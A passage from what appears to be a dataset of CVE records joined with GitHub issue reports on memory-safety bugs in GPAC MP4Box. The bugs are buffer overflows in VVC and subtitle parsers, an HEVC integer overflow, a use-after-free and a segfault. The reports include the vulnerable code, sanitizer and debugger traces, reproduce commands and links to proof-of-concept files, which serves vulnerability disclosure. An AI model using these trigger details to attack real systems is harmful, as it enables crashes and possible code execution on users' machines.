2671 if (!(load->swf_import_flags & GF_SM_SWF_SPLIT_TIMELINE) ) {
2672 swf_report(read, GF_OK, "ActionScript disabled");
──────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fff67a6b810 ◂— 0xf4dc4ae
01:0008│ 0x7fff67a6b818 —▸ 0x7fff67a6c910 —▸ 0x7fff67a6c9b0 —▸ 0x60e000667773 ◂— 0x0
02:0010│ 0x7fff67a6b820 —▸ 0x61100000852c —▸ 0x2b000000000 ◂— 0x0
03:0018│ 0x7fff67a6b828 —▸ 0x611000008528 ◂— 0xa9
04:0020│ 0x7fff67a6b830 —▸ 0x7fff67a6b850 ◂— 0x41b58ab3
05:0028│ 0x7fff67a6b838 —▸ 0x611000008530 —▸ 0x6020000002b0 ◂— '/tmp/gpac_cache'
06:0030│ 0x7fff67a6b840 —▸ 0x611000008548 —▸ 0x615000013e00 —▸ 0x6110000084f0 ◂— 9 /* '\t' */
07:0038│ 0x7fff67a6b848 —▸ 0x7fff67a6b850 ◂— 0x41b58ab3
────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────────
► f 0 0x7f2d4fe54afb gf_sm_load_init_swf+747
f 1 0x7f2d4fdcc260 gf_sm_load_init+896
f 2 0x7f2d504e4ceb ctxload_process+2283
f 3 0x7f2d5024abcd gf_filter_process_task+3181
f 4 0x7f2d5020aaf4 gf_fs_thread_proc+2244
f 5 0x7f2d502173ef gf_fs_run+447
f 6 0x7f2d4fc59fd2 gf_media_import+16210
f 7 0x565119c9faed import_file+15133
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
```
# Backtrace
```
pwndbg> bt
#0 0x00007f2d4fe54afb in gf_sm_load_init_swf (load=load@entry=0x6110000084f0) at scene_manager/swf_parse.c:2667
#1 0x00007f2d4fdcc260 in gf_sm_load_init (load=load@entry=0x6110000084f0) at scene_manager/scene_manager.c:692
#2 0x00007f2d504e4ceb in ctxload_process (filter=<optimized out>) at filters/load_bt_xmt.c:476
#3 0x00007f2d5024abcd in gf_filter_process_task (task=0x607000001520) at filter_core/filter.c:2750
#4 0x00007f2d5020aaf4 in gf_fs_thread_proc (sess_thread=sess_thread@entry=0x616000000410) at filter_core/filter_session.c:1859
#5 0x00007f2d502173ef in gf_fs_run (fsess=fsess@entry=0x616000000380) at filter_core/filter_session.c:2120
#6 0x00007f2d4fc59fd2 in gf_media_import (importer=importer@entry=0x7fff67a6ee20) at media_tools/media_import.c:1551
#7 0x0000565119c9faed in import_file (dest=<optimized out>, inName=inName@entry=0x7fff67a832c8 "fake.swf", import_flags=0, force_fps=..., frames_per_sample=0, fsess=fsess@entry=0x0, mux_args_if_first_pass=<optimized out>, mux_sid_if_first_pass=<optimized out>, tk_idx=<optimized out>) at fileimport.c:1498
#8 0x0000565119c543dc in do_add_cat (argv=<optimized out>, argc=<optimized out>) at mp4box.c:4508
#9 mp4box_main (argc=<optimized out>, argv=<optimized out>) at mp4box.c:6124
#10 0x00007f2d4d1e4d90 in __libc_start_call_main (main=main@entry=0x565119c30bc0 <main>, argc=argc@entry=4, argv=argv@entry=0x7fff67a82d98) at ../sysdeps/nptl/libc_start_call_main.h:58
#11 0x00007f2d4d1e4e40 in __libc_start_main_impl (main=0x565119c30bc0 <main>, argc=4, argv=0x7fff67a82d98, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fff67a82d88) at ../csu/libc-start.c:392
#12 0x0000565119c30cb5 in _start ()
```
# Credit
xdchase
# POC
[poc-segfault.zip](https://github.com/gpac/gpac/files/10197844/poc-segfault.zip)
|
missing check in gf_sm_load_init_swf, causing Segmentation fault
|
https://api.github.com/repos/gpac/gpac/issues/2337/comments
| 0 |
2022-12-09T20:12:45Z
|
2022-12-12T09:59:00Z
|
https://github.com/gpac/gpac/issues/2337
| 1,487,390,903 | 2,337 |
CVE-2022-47087
|
2023-01-05T15:15:10.620
|
GPAC MP4box 2.1-DEV-rev574-g9d5bb184b has a Buffer overflow in gf_vvc_read_pps_bs_internal function of media_tools/av_parsers.c
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2339"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gpac:gpac:*:*:*:*:*:*:*:*",
"matchCriteriaId": "B4D3D58A-C3C9-4441-A84A-FB91FD19985C",
"versionEndExcluding": "2.2.0",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/gpac/gpac/issues/2339
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"gpac",
"gpac"
] |
Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you!
- [X] I looked for a similar issue and couldn't find any.
- [X] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/
- [X] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95
Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/
# Description
buffer overflow in gf_vvc_read_pps_bs_internal function of media_tools/av_parsers.c
```c
while (nb_ctb_left >= uni_size_ctb) {
nb_ctb_left -= uni_size_ctb;
pps->tile_rows_height_ctb[pps->num_tile_rows] = uni_size_ctb; // when pps->num_tile_rows == 32, overflow at pps->tile_rows_height_ctb
pps->num_tile_rows++;
}
```
# Version info
```
MP4Box - GPAC version 2.1-DEV-rev574-g9d5bb184b-master
(c) 2000-2022 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --enable-sanitizer
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D
```
# Reproduce
compile and run
```
./configure --enable-sanitizer
make
./MP4Box import -add poc_bof2.mp4
```
Crash reported by sanitizer
```
[Core] exp-golomb read failed, not enough bits in bitstream !
[VVC] Warning: Error parsing NAL unit
media_tools/av_parsers.c:10985:29: runtime error: index 33 out of bounds for type 'u32 [33]'
```
# POC
[poc_bof2.zip](https://github.com/gpac/gpac/files/10199807/poc_bof2.zip)
# Impact
Potentially causing DoS and RCE
# Credit
Xdchase
|
Buffer overflow in gf_vvc_read_pps_bs_internal function of media_tools/av_parsers.c
|
https://api.github.com/repos/gpac/gpac/issues/2339/comments
| 0 |
2022-12-10T10:00:27Z
|
2022-12-12T09:59:01Z
|
https://github.com/gpac/gpac/issues/2339
| 1,488,317,476 | 2,339 |
CVE-2022-47088
|
2023-01-05T15:15:10.663
|
GPAC MP4box 2.1-DEV-rev574-g9d5bb184b is vulnerable to Buffer Overflow.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2340"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gpac:gpac:*:*:*:*:*:*:*:*",
"matchCriteriaId": "B4D3D58A-C3C9-4441-A84A-FB91FD19985C",
"versionEndExcluding": "2.2.0",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/gpac/gpac/issues/2340
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"gpac",
"gpac"
] |
Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you!
- [X] I looked for a similar issue and couldn't find any.
- [X] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/
- [X] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95
Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/
# Description
buffer overflow in gf_vvc_read_pps_bs_internal function of media_tools/av_parsers.c
```c
while (nb_ctb_left >= uni_size_ctb) {
nb_ctb_left -= uni_size_ctb;
pps->tile_cols_width_ctb[pps->num_tile_cols] = uni_size_ctb; // when pps->num_tile_cols == 30, overflow at pps->tile_cols_width_ctb
pps->num_tile_cols++;
}
```
# Version info
```
MP4Box - GPAC version 2.1-DEV-rev574-g9d5bb184b-master
(c) 2000-2022 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --enable-sanitizer
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D
```
# Reproduce
compile and run
```
./configure --enable-sanitizer
make
./MP4Box import -add poc_bof3.mp4
```
Crash reported by sanitizer
```
[Core] exp-golomb read failed, not enough bits in bitstream !
[VVC] Warning: Error parsing NAL unit
[Core] exp-golomb read failed, not enough bits in bitstream !
media_tools/av_parsers.c:10964:28: runtime error: index 30 out of bounds for type 'u32 [30]'
```
# POC
[poc_bof3.zip](https://github.com/gpac/gpac/files/10199841/poc_bof3.zip)
# Impact
Potentially causing DoS and RCE
# Credit
Xdchase
|
Another Buffer overflow in gf_vvc_read_pps_bs_internal function of media_tools/av_parsers.c
|
https://api.github.com/repos/gpac/gpac/issues/2340/comments
| 0 |
2022-12-10T10:08:12Z
|
2022-12-12T09:59:02Z
|
https://github.com/gpac/gpac/issues/2340
| 1,488,326,210 | 2,340 |
CVE-2022-47089
|
2023-01-05T15:15:10.707
|
GPAC MP4box 2.1-DEV-rev574-g9d5bb184b is vulnerable to Buffer Overflow via gf_vvc_read_sps_bs_internal function of media_tools/av_parsers.c
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2338"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gpac:gpac:*:*:*:*:*:*:*:*",
"matchCriteriaId": "B4D3D58A-C3C9-4441-A84A-FB91FD19985C",
"versionEndExcluding": "2.2.0",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/gpac/gpac/issues/2338
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"gpac",
"gpac"
] |
Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you!
- [X] I looked for a similar issue and couldn't find any.
- [X] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/
- [X] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95
Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/
# Description
buffer overflow in gf_vvc_read_sps_bs_internal function of media_tools/av_parsers.c
```c
for (i=0; i<sps_rpl1_same_as_rpl0; i++) {
u32 j;
sps->num_ref_pic_lists[i] = gf_bs_read_ue_log_idx(bs, "sps_num_ref_pic_lists", i);
for (j=0; j<sps->num_ref_pic_lists[i]; j++) {
s32 res = vvc_parse_ref_pic_list_struct(bs, sps, i, j, &sps->rps[i][j]); // when j == 64, overflow sps->rps
if (res<0) return res;
}
}
```
# Version info
```
MP4Box - GPAC version 2.1-DEV-rev574-g9d5bb184b-master
(c) 2000-2022 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --enable-sanitizer
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D
```
# Reproduce
compile and run
```
./configure --enable-sanitizer
make
./MP4Box import -add poc.mp4
```
Crash reported by sanitizer
```
[VVC] Warning: Error parsing NAL unit
[Core] exp-golomb read failed, not enough bits in bitstream !
media_tools/av_parsers.c:10710:71: runtime error: index 65 out of bounds for type 'VVC_RefPicList [64]'
```
# POC
[poc_bof.zip](https://github.com/gpac/gpac/files/10199702/poc_bof.zip)
# Impact
Potentially causing DoS and RCE
# Credit
xdchase
|
Buffer overflow in gf_vvc_read_sps_bs_internal function of media_tools/av_parsers.c
|
https://api.github.com/repos/gpac/gpac/issues/2338/comments
| 0 |
2022-12-10T09:54:16Z
|
2022-12-12T09:59:01Z
|
https://github.com/gpac/gpac/issues/2338
| 1,488,308,020 | 2,338 |
CVE-2022-47091
|
2023-01-05T15:15:10.750
|
GPAC MP4box 2.1-DEV-rev574-g9d5bb184b is vulnerable to Buffer Overflow in gf_text_process_sub function of filters/load_text.c
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2343"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://www.debian.org/security/2023/dsa-5411"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gpac:gpac:*:*:*:*:*:*:*:*",
"matchCriteriaId": "B4D3D58A-C3C9-4441-A84A-FB91FD19985C",
"versionEndExcluding": "2.2.0",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/gpac/gpac/issues/2343
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"gpac",
"gpac"
] |
Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you!
- [X] I looked for a similar issue and couldn't find any.
- [X] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/
- [X] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95
Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/
# Description
Buffer overflow in gf_text_process_sub function of filters/load_text.c
```c
while (szLine[i+1+j] && szLine[i+1+j]!='}') {
szTime[i] = szLine[i+1+j]; // overflow at szTime
i++;
}
```
# Version info
```
MP4Box - GPAC version 2.1-DEV-rev574-g9d5bb184b-master
(c) 2000-2022 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --enable-sanitizer
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D
```
# Reproduce
compile and run
```
./configure --enable-sanitizer
make
./MP4Box import -add poc_bof5.avi
```
Crash reported by sanitizer
```
Track Importing Timed Text - Text track 400 x 60 font Serif (size 18) layer 0
[TXTIn] Bad SUB file - expecting "{" got "{"
[TXTIn] corrupted SUB frame (line 2) - ends (at 0 ms) before start of current frame (6 ms) - skipping
filters/load_text.c:2569:10: runtime error: index 20 out of bounds for type 'char [20]'
```
# POC
[poc_bof5.zip](https://github.com/gpac/gpac/files/10202277/poc_bof5.zip)
# Impact
Potentially causing DoS and RCE
# Credit
Xdchase
|
Buffer overflow in gf_text_process_sub function of filters/load_text.c
|
https://api.github.com/repos/gpac/gpac/issues/2343/comments
| 0 |
2022-12-11T13:21:25Z
|
2022-12-12T09:59:02Z
|
https://github.com/gpac/gpac/issues/2343
| 1,489,970,920 | 2,343 |
CVE-2022-47092
|
2023-01-05T15:15:10.793
|
GPAC MP4box 2.1-DEV-rev574-g9d5bb184b is contains an Integer overflow vulnerability in gf_hevc_read_sps_bs_internal function of media_tools/av_parsers.c:8316
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.2,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2347"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gpac:gpac:*:*:*:*:*:*:*:*",
"matchCriteriaId": "B4D3D58A-C3C9-4441-A84A-FB91FD19985C",
"versionEndExcluding": "2.2.0",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/gpac/gpac/issues/2347
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"gpac",
"gpac"
] |
Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you!
- [X] I looked for a similar issue and couldn't find any.
- [X] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/
- [X] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95
Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/
# Description
Integer overflow in gf_hevc_read_sps_bs_internal function of media_tools/av_parsers.c:8316
```c
sps->max_CU_width = (1 << (sps->log2_min_luma_coding_block_size + sps->log2_diff_max_min_luma_coding_block_size));
sps->max_CU_height = (1 << (sps->log2_min_luma_coding_block_size + sps->log2_diff_max_min_luma_coding_block_size));
```
# Version info
```
MP4Box - GPAC version 2.1-DEV-rev574-g9d5bb184b-master
(c) 2000-2022 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --enable-sanitizer
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D
```
# Reproduce
compile and run
```
./configure --enable-sanitizer
make
./MP4Box import -add poc_int.mov
```
Crash reported by sanitizer
```
[Core] exp-golomb read failed, not enough bits in bitstream !
[HEVC] Warning: Error parsing NAL unit
media_tools/av_parsers.c:8316:25: runtime error: shift exponent 146 is too large for 32-bit type 'int'
```
# POC
[poc_int.zip](https://github.com/gpac/gpac/files/10202363/poc_int.zip)
# Impact
Potentially causing DoS and corrupting data structure
# Credit
Xdchase
|
Integer overflow in gf_hevc_read_sps_bs_internal function of media_tools/av_parsers.c:8316
|
https://api.github.com/repos/gpac/gpac/issues/2347/comments
| 0 |
2022-12-11T14:02:17Z
|
2022-12-12T09:59:04Z
|
https://github.com/gpac/gpac/issues/2347
| 1,490,026,124 | 2,347 |
CVE-2022-47093
|
2023-01-05T15:15:10.837
|
GPAC MP4box 2.1-DEV-rev574-g9d5bb184b is vulnerable to heap use-after-free via filters/dmx_m2ts.c:470 in m2tsdmx_declare_pid
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2344"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gpac:gpac:*:*:*:*:*:*:*:*",
"matchCriteriaId": "B4D3D58A-C3C9-4441-A84A-FB91FD19985C",
"versionEndExcluding": "2.2.0",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/gpac/gpac/issues/2344
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"gpac",
"gpac"
] |
Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you!
- [X] I looked for a similar issue and couldn't find any.
- [X] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/
- [X] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95
Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/
# Description
heap-use-after-free filters/dmx_m2ts.c:470 in m2tsdmx_declare_pid
# Version info
```
MP4Box - GPAC version 2.1-DEV-rev574-g9d5bb184b-master
(c) 2000-2022 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --enable-sanitizer
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D
```
# Reproduce
compile and run
```
./configure --enable-sanitizer
make
./MP4Box import -add poc_uaf.avi
```
# Crash reported by sanitizer
```
Broken PAT found reserved PID 0, ignoring
Broken PAT found reserved PID 0, ignoring
Broken PAT found reserved PID 0, ignoring
Broken PAT found reserved PID 0, ignoring
Broken PAT found reserved PID 0, ignoring
[MPEG-2 TS] PID 1863: Bad Adaptation Descriptor found (tag 100) size is 100 but only 93 bytes available
stream type DSM CC user private sections on pid 32
[MPEG-2 TS] Invalid PMT es descriptor size for PID 32
[MPEG-2 TS] Invalid PMT es descriptor size for PID 5364
Broken PAT found reserved PID 0, ignoring
Broken PAT found reserved PID 0, ignoring
Broken PAT found reserved PID 0, ignoring
Broken PAT found reserved PID 0, ignoring
Broken PAT found reserved PID 0, ignoring
[MPEG-2 TS] PID 1863: Bad Adaptation Descriptor found (tag 100) size is 100 but only 93 bytes available
stream type DSM CC user private sections on pid 32
[MPEG-2 TS] Invalid PMT es descriptor size for PID 32
[MPEG-2 TS] Invalid PMT es descriptor size for PID 5364
=================================================================
==583780==ERROR: AddressSanitizer: heap-use-after-free on address 0x607000004548 at pc 0x7fa6cb05f685 bp 0x7ffc93e21020 sp 0x7ffc93e21010
READ of size 8 at 0x607000004548 thread T0
#0 0x7fa6cb05f684 in m2tsdmx_declare_pid filters/dmx_m2ts.c:470
#1 0x7fa6cb05f98a in m2tsdmx_setup_program filters/dmx_m2ts.c:592
#2 0x7fa6cb06245b in m2tsdmx_on_event filters/dmx_m2ts.c:876
#3 0x7fa6ca9507d4 in gf_m2ts_process_pmt media_tools/mpegts.c:1779
#4 0x7fa6ca9507d4 in gf_m2ts_process_pmt media_tools/mpegts.c:1132
#5 0x7fa6ca9439b6 in gf_m2ts_section_complete media_tools/mpegts.c:624
#6 0x7fa6ca9452af in gf_m2ts_gather_section media_tools/mpegts.c:755
#7 0x7fa6ca94a532 in gf_m2ts_process_packet media_tools/mpegts.c:2721
#8 0x7fa6ca94dd68 in gf_m2ts_process_data media_tools/mpegts.c:2813
#9 0x7fa6cb05a250 in m2tsdmx_process filters/dmx_m2ts.c:1420
#10 0x7fa6caf29bcc in gf_filter_process_task filter_core/filter.c:2750
#11 0x7fa6caee9af3 in gf_fs_thread_proc filter_core/filter_session.c:1859
#12 0x7fa6caef63ee in gf_fs_run filter_core/filter_session.c:2120
#13 0x7fa6ca938fd1 in gf_media_import media_tools/media_import.c:1551
#14 0x55f87208daec in import_file /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/fileimport.c:1498
#15 0x55f8720423db in do_add_cat /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/mp4box.c:4508
#16 0x55f8720423db in mp4box_main /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/mp4box.c:6124
#17 0x7fa6c7ec3d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#18 0x7fa6c7ec3e3f in __libc_start_main_impl ../csu/libc-start.c:392
#19 0x55f87201ecb4 in _start (/home/sumuchuan/Desktop/gpac_fuzz/gpac/bin/gcc/MP4Box+0xabcb4)
0x607000004548 is located 8 bytes inside of 80-byte region [0x607000004540,0x607000004590)
freed by thread T0 here:
#0 0x7fa6cda1ec18 in __interceptor_realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:164
#1 0x7fa6ca0aff20 in realloc_chain utils/list.c:621
#2 0x7fa6ca0aff20 in gf_list_add utils/list.c:630
#3 0x7fa6caed06d0 in gf_props_set_property filter_core/filter_props.c:1098
#4 0x7fa6cae8a35d in gf_filter_pid_set_property_full filter_core/filter_pid.c:5411
#5 0x7fa6cae8a35d in gf_filter_pid_set_property filter_core/filter_pid.c:5418
